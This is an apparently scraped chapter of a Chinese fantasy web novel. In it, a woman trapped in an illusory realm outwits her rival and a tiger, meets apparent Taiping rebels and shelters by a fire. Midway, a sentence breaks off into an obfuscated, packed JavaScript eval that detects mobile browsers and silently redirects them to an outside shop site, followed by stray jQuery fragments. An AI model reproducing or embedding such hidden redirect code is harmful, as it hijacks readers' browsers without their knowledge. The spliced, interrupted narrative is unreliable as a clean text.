文趣网 > 都市小说 > 客家庙大 > 7.7
    方术下阶法破境,需配合六十四卦法门地水师卦使用。

    坤为地,坎为水,地中有水,外顺内险,行险求顺,是为破!

    当修至中阶法,方术悍势便显现出来,六十四卦法门中,无论使用其中任何一卦,只要挥刀向溯洄树,就可直接破境。

    “方术悍势,切勿破临阴境……”

    境易破,千百年来却无人知晓该如何出去。

    没想到临行前续延章的一句嘱咐,竟一语成谶,闵绘周不禁懊恼自己的粗心和冲动。

    但事已发生,悔也没用,只要除掉不死人,就值得。

    不死人呢?他真的死了吗?

    心念身动,闵绘周的意识传达至身全身,一股酸软的疼痛瞬间袭来。同时,她的身体像毫无受力,如同灵魂一般漂浮在黑暗。

    为了确认不死人的情况,她挣扎着睁开眼睛,映入眼帘的是一棵挺秀繁茂的榕树,在月光下舒展枝叶。

    延展的枝桠中,有一人叠腿闲坐,正低眼瞧她。

    闵绘周眸子盯着那人的银灰色发,心底恼怒至极,她忍痛挪动手指,要去摸挎包。

    那人出声:“我们不属于这里,你若引来异动,便会遭到浮生象的吞噬。”

    什么浮生象,闵绘周不信他,当他放屁。她啐了一声,“你与临阴境的魙灵沆瀣一气,别再花言巧语,够胆就跟我打一场!”

    说话牵扯胸腔的疼痛,她咳嗽不止。

    男子见她疼得龇牙咧嘴,还一脸倔,将要解释的话咽下去,瞧好戏似的转口:“不信?你大可一试。”

    掉落临阴境后,闵绘周恰巧挂在溯洄树的树枝上。身体受创,还不能自如活动,她掏出个火筒,拔掉插销,直接朝上扔!

    她在梨木寨买这个东西时,就详细问过,安全插销拔掉后几秒会爆炸。

    本已盘算好时间,只要扔到不死人的位置,火筒就会立即爆炸,即便自己受到波及也没多大影响。

    可他动作更快,手攥住枝条,在半空中移形,窜到另一边去,硝烟和枝叶在他身后炸开。

    没成功,闵绘周也不气馁,想着将准备的火筒一股脑扔完,看他往哪儿躲!

    “嗐,可惜,这树还是难逃一劫。”男子望着被炸断枝的溯洄树,语气实在惋惜。

    “还是先担心你自己吧!”闵绘周再要拉动火筒插销,忽然听到一声响彻夜空的野兽吼叫,并伴随着震地的脚步响。

    发生了什么?

    兽声太近,闵绘周扭头俯看,发现树下有只巨物踏步而来,仰着硕大的脑袋垂涎地盯住她,兽眼荧荧正冒绿光。

    那庞大的体型,光亮的斑纹皮毛,还有额间“王”字兽纹,不是老虎是什么!

    这是哪个斩千刀的幻梦,怎么还有国家一级保护动物?!

    入庙境,体质同化,五感并存,需要吃喝,也会疼痛伤亡。闵绘周被挂的树枝正好在下段,老虎身长近两米,立个腿就能够着她,不死人还活着,她现在可不能白白喂虎口。

    于是放好火筒,抬手臂拼命勾住树干,撑起身子向上爬去。溯洄树枝桠错落,越往上树干越细,闵绘周没有贪高,寻到一截合适的树干站好。

    “啧,这孽畜竟能爬树。”

    不死人的声音轻飘飘落下来,打破闵绘周好不容易稳定的处境。

    她低眼看,那老虎竟真的悄无声息地爬了上来,一眨眼就到她先前躺的位置。

    老虎体型庞大,震得整棵树言晃动不止。

    闵绘周紧紧抱树,狠狠朝顶上不死人翻了一个白眼,恨其恨得牙痒痒。

    老虎垂涎的大口哈着粗气,闵绘周的脚底仿佛已经感受到臭烘烘的热气,紧迫感瞬间拔高。这里也不安全了,她抬头寻找别的地方。

    纵观溯洄树,只有不死人站的位置最高,最好容人。可他们是死对头,一起避难不合适吧,谁知道他背后会耍什么诡计,那她不就自入陷阱了?

    犹豫几秒,闵绘周还是往上爬,很快与不死人站到一处。

    战死和给老虎果腹,当然是前者体面些,传出去也好听……

    男子见她一副迫不得已与自己共处的表情,有趣地笑了,“前有针锋相对,现今同舟共济,我们如此,也算共患难了。”

    闵绘周不爽地想反讽,但余光注意到老虎在树上两个连跳,已经离他们不远。

    她眼睛滴溜一转,偷偷出手,在不死人背后推了一把,“你自个患难去吧!”

    脚底着力本就小,树被虎兽震得晃来晃去,男子也没像闵绘周那般抱树。后背那把力让他往前栽,一个踩空,掉了下去。

    “诶——!你不讲武德……”

    男子有轻功身法,翩然落地,毫发无损。

    猎物突然兵分两路,老虎犹豫地上看看下看看。

    闵绘周甜甜一笑,从挎包掏出一把牛肉干,溜溜老虎鼻子,再往底下不死人的位置丢去。

    老虎饿极,不然不会下山找食,它嗅着肉味儿骤然从树上跃下,去追牛肉干。

    男子只觉一个遮天蔽日的巨影从天而降,如同黑云压城倾覆向他,忙不迭避开。

    虎兽落地,扬起一阵烟尘,牛肉干不够塞牙缝,吃完后,它咧着大口冲白皮嫩肉的不死人龇牙。

    不消片刻,不死人就被老虎缠上了。

    下面在上演生死对决,闵绘周在上面也闲适了一把,慢腾腾地从另一边下树。找个地儿远远躲开,正好恢复体力。将自己隐蔽起来,也方便窥探不死人的术法门路。

    她想知道他到底有多厉害,能让族人屡战屡败,她还想摸清楚他的真正身份,看他是被斩首的李秀成,还是凌迟而死的陈玉成,还是说只是个没温度的老尸块。

    不死人只管躲,一直没出招式和术法,不知道是在防闵绘周,还是在顾虑其他。在这久待于她无利,就干脆趁机会打量临阴境的环境,看能不能找到出去的办法。

    月色清亮。

    闵绘周环顾四周,发现她所处之地是一片细长平地,水田纵横,杂草野花相嵌,再远处是连绵不绝的山林,呈四面包揽,围住这片区域。

    花草树木,山水怡然,如果不是只有夜晚,完全就是一副田园景象。

    当然,大型野兽稍微消失一下,就更宜居了。

    看过一圈,没头绪,以她的知识储备,也不能凭空给临阴境杜撰出个出口来。

    眼皮子突感沁凉,闵绘周冷不定打个喷嚏。

    好冷,又下雪了。

    可能打喷嚏暴露了闵绘周位置,原本被老虎追赶的不死人猛的掉头,连跑带飞地掠到她跟前,一双水眸诚恳闪亮:

    “少侠救我!”

    然后身形优雅一转,绕到闵绘周身后,双手押住她肩膀,将她当肉盾推出去挡虎。

    这一切发生太快,也太不要脸了!闵绘周还没反应过来,老虎的肉爪就已撕到眼前。她一个打滚转开,下一瞬,掩避的草丛被拍得只剩一截短茬。

    简直惊心动魄!

    老虎腰臀右摆,身位拧左,血盆巨口撕咬而至。

    闵绘周忙又起身,怒奔三十米地,气也不敢喘一下。终于有空间施展,她气沉丹田,正欲唤方术。

    不料一只冰冷的死人手捂住她口鼻,耳边气息幽幽:“万万不可唤方术,否则会引起魙灵警觉,届时我们更出不去。”

    这死人跟鬼一样,甩也甩不开,闵绘周很想推开他,再用方术一举灭掉他和那只满脑袋只剩吃吃吃的老虎。

    可是……听他的意思,他似乎知道出去的方法。

    她心思百转,该不该信他?

    但是,不死人刚才说会遭到吞噬,虎兽就出现了,这未免太凑巧。也不知那是张霉嘴,还是确有其事。

    老虎几个跳跃,即将冲过来,闵绘周最后并未唤方术,而是用力咬了不死人手指,身后一声不耐烦的“嘶”。

    她恍若未觉,再一把攥住不死人腕骨,反折,扎马步一个过肩摔,将人直接甩了出去!

    虎口冷不防被人体沙包突袭,整个虎身撞倒在地。

    一人一虎倒做一团。

    “哎哟~”男子扶着撞疼的腰起身,不忘一脚压住还没清醒的虎头上,他转过脸恨恨咬牙,“牙尖齿利头铁,你上辈子是个钉耙吧你!”

    他头次失了风度,吐露出许久未见的刻薄。

    看不死人吃瘪,闵绘周咧嘴开怀,她拔腿就跑,远离危险之地。

    “你能破泽水困,还会定脉,装什么柔弱让我救你,活该!”

    ……

    后面虎啸又起,闵绘周回头望,旁观不死人有没有落入虎口。

    路上不知几时聚起一波人,举着火把,队形不停变换,围剿虎兽。

    火光照耀下,闵绘周看到那些人的头顶都蒙盖着一层红布。从进入临阴境,她就没碰到过人,出于好奇和了解,就多留意了两眼。

    也就是停留的这当口,几人从后面包抄,趁她不备挟住她胳膊,将她带走。

    “诶诶诶,你们谁呀?抓我干嘛?快放开!放开我……”寡不敌众,闵绘周力气不及,只能嚷嚷。

    这些人跟哑巴似的,根本不理会,她为了摆脱挟制,暗自捏诀呼咒。

    忽而闻到浓烈的血腥,才察觉他们将自己带到老虎出现地方,而刚刚雄威势猛的老虎已经血流成河,奄奄一息。

    画面太具冲击力,闵绘周意识到这些懂得团体合作杀虎的不是普通人,于是收手势,决定先静观其变。

    “阿妹!”

    一声关怀的呼喊。

    闵绘周循声看去,这句“阿妹”出自不死人的嘴。他也被人群围困,面上关心虚假,眼里是对她窘迫处境的取笑。

    闵绘周嘴角微微抽动,心底气煞,不吭声。

    “你们深夜到紫荆山做什么?”人群里有人发问。

    男子在人群扫一眼,精准找到领头,向其解释:“诸位大哥,这就是我阿妹,我们是客民,山里来的。兄妹俩到这寻亲,不幸遇到野兽,还多谢各位解救。”

    边上喽啰质疑:“你们一个长得细皮嫩肉,一个容貌俏丽还带玉饰,穿着又奇怪,哪像山里的?”

    不死人陪着笑,敛袖欠身,再解释:“这是天生娘胎里带来的,我和阿妹如何劳累也就这般模样,这不能怨我们吧?衣衫嘛,是阿妈自己画样式缝制的,心意贵重,再奇怪也要穿。”

    换言之,天生丽质,怪谁呢?

    人群里不乏因土客争斗①,被赶上山的客民,离群索居,不知世事,所以衣服缝制奇怪也情有可原。

    喽啰看向领头,低声道:“杨军师,你看……”

    被唤杨军师的男人瞧男子头顶,无剃发痕迹,女的穿着也非清服。

    杨军师一摆手,手下人松开不死人和闵绘周。

    “走吧,虎患已除,扛猎物回去领赏!”杨军师转身,带领众人离去。

    “唷唷!回去领赏啰!”

    血淋淋的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695596|205641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    老虎被几人扛起,随欢呼声远去,只余留一地血腥。

    ……

    雪越下越密。

    闵绘周冷得直发抖,又不敢乱走动。

    按那些人盘问的方式,这里似乎对生人不友好,留在原地最妥当。

    她躲在一丛灌木边,期盼能遮风挡雪。袖子破了,冷风直灌,只好抱紧自己,用思考来转移注意力。

    刚刚那些人戴红头巾,说这里是紫荆山,还有虎患。广西桂平就有个紫荆山,金田起义的金田村就位于紫荆山南麓,红头巾是太平军掩盖剃头的标志,他们极可能是太平军。

    太平军是1850年在紫荆山山区组织起来的,次年于金田村起义,临阴境所处时代应该是清末。

    临阴境为魙者幻梦,那这位魙者是清朝人士。

    托隋北宁的福,闵绘周轻易就将临阴境的背景推敲出来,遍地起义的朝代,别乱走是正确的。

    理清后,思绪飘远,浑身又被寒冷袭击,她的目光不禁被不远处的火光吸引。

    不死人也没有贸然走动,而是在溯洄树下用松枝搭起一个临时蔽所,在里头生火,烤不知从来弄来的鸡。

    烤鸡滋滋冒油,香气扑鼻,闵绘周咽了咽唾沫。她不愿承认自己落魄,轻哂:“还挺有闲情。”

    她又饿又冷,实在没有力气弄这一出,附近也不像有人烟的样子,只能挨饿。

    摸摸挎包,牛肉干全喂老虎了,里面只剩一颗聚会时在柜台顺手拿的薄荷糖。聊胜于无了,闵绘周将糖抿进嘴里。

    一点甜,反而激发出更深的饥饿,让人难以忍受。

    算了!闵绘周哆嗦着站起身,心想起码找点柴火取暖,不然熬不过今晚。

    她准备进山,溯洄树那边传来不死人的声音。

    “吃不吃?”男子坐在松枝蔽所内,微微探头瞧她,将穿透树枝的烤鸡伸出来,还引诱似的地晃了晃。

    闵绘周盯着他火色跳跃的眸子,张口拒绝:“不吃!”

    “不吃也行,进来取暖吧,我可不希望你被冻死。”男子把烤鸡插在火堆旁,扯下一个鸡腿,小口咬着。

    “为什么?”闵绘周好奇,走近几步。

    他细嚼慢咽,缓缓道:“一来我与那帮人说了我们是兄妹,你不在,我不好走动。二来,出临阴境需要你我合作。”

    他三番两次提到出临阴境,难道还真知晓出去的方法?

    闵绘周想了想,昂首阔步,大方进了蔽所取暖。临阴境神秘凶险,保持良好体能才能笑到最后。

    烤鸡近在咫尺,坐下没多久,闵绘周肚子就唱起了空城计。她忙绷紧小腹,企图压抑咕噜咕噜的响声。

    男子忽而移动烤鸡树枝,火上浇油地问:“皮脆肉嫩,火候恰好,吃么?”

    闵绘周知他是故意的,撇过脸哼道:“我闵周氏有的是骨气,不受嗟来之食。”

    男子笑笑,眉眼在火光中融融生色,出口的话却似淬毒,“雪到白日才会停,后半夜只会更冷,骨气可不能让你饱暖。”

    闵绘周斜眼睨他,“临阴境终日悬月,你分得清白天夜晚?”

    “境内日夜不过是以月影断时辰,这里的人都会。”

    “你也是这里的人?”

    男子听出其中的试探,道:“我不是,我也不叫不死人。”

    闵绘周说:“你会破六十四卦,还认得方术刀。”

    潜台词,你就是我族的仇家——不死人。

    “那是与你族接触多了,偷着学了点皮毛,我要真这么厉害,能让你用刀劈得东躲西藏?”男子明眸笑颜,丝毫不觉得贬低自己伤脸面。

    他要真是个废物,为什么庙会被霸占?闵绘周不信,但他这种无所谓的态度激起她的反叛心,她转动腕部,虎口压劲,大有种磨刀霍霍向猪羊的气势。

    男子察觉到杀气,立即用烤鸡架子做武器指向她,“我可告诉你,没有我,你难出临阴境。相反的,没有你,我也难出去。”

    闵绘周最讨厌别人指指点点,一把抢过烤鸡架子,她也清楚,不死人还有利用价值。

    “你很了解这里,那你说说,该如何出去?”

    男子咬完肉,将鸡骨头远远扔开,再取薄雪净手,动作细致,贵气优雅。

    事真多,闵绘周看了,心里暗嗤。

    “现在你信了吧,魙者幻梦,有其运行秩序,我们是闯入者,一旦被识别出异常,就会遭受秩序的吞噬。这次是虎兽,下次就不知道是什么了。”

    警告的语气。

    闵绘周敲重点,“你还没回答我,该如何出去?”

    十指浸雪冰凉,男子张手烤火,看向闵绘周,眼中深意,“要出去,就得寻找造幻梦的魙灵,用方术破其魙执,方可出境。”

    需要用到方术,那确实只能跟闵绘周合作。只是,他真的只是想出去吗?那掉下时的那个笑是为什么?还是她的幻觉?

    狂切的饥饿打断思绪,火源也抵御不住寒冷,闵绘周没再强守尊严,直接啃起烤鸡。

    大女人能屈能伸,低个头怎么了?现在吃他的烧鸡,来日不影响她的刀砍下他的头!

    男子瞧着,腔调悠悠地哟了声,“不是很有骨气吗?”

    闵绘周囫囵吞枣,含糊声:“要你管!”

    男子并不着恼,合衣躺在松针铺就的床上,闭眼道:“凌晨极阴之时,境内会起雾,那东西吸进去可不好。别怪我没提醒你,调息静气,方能安然度过。”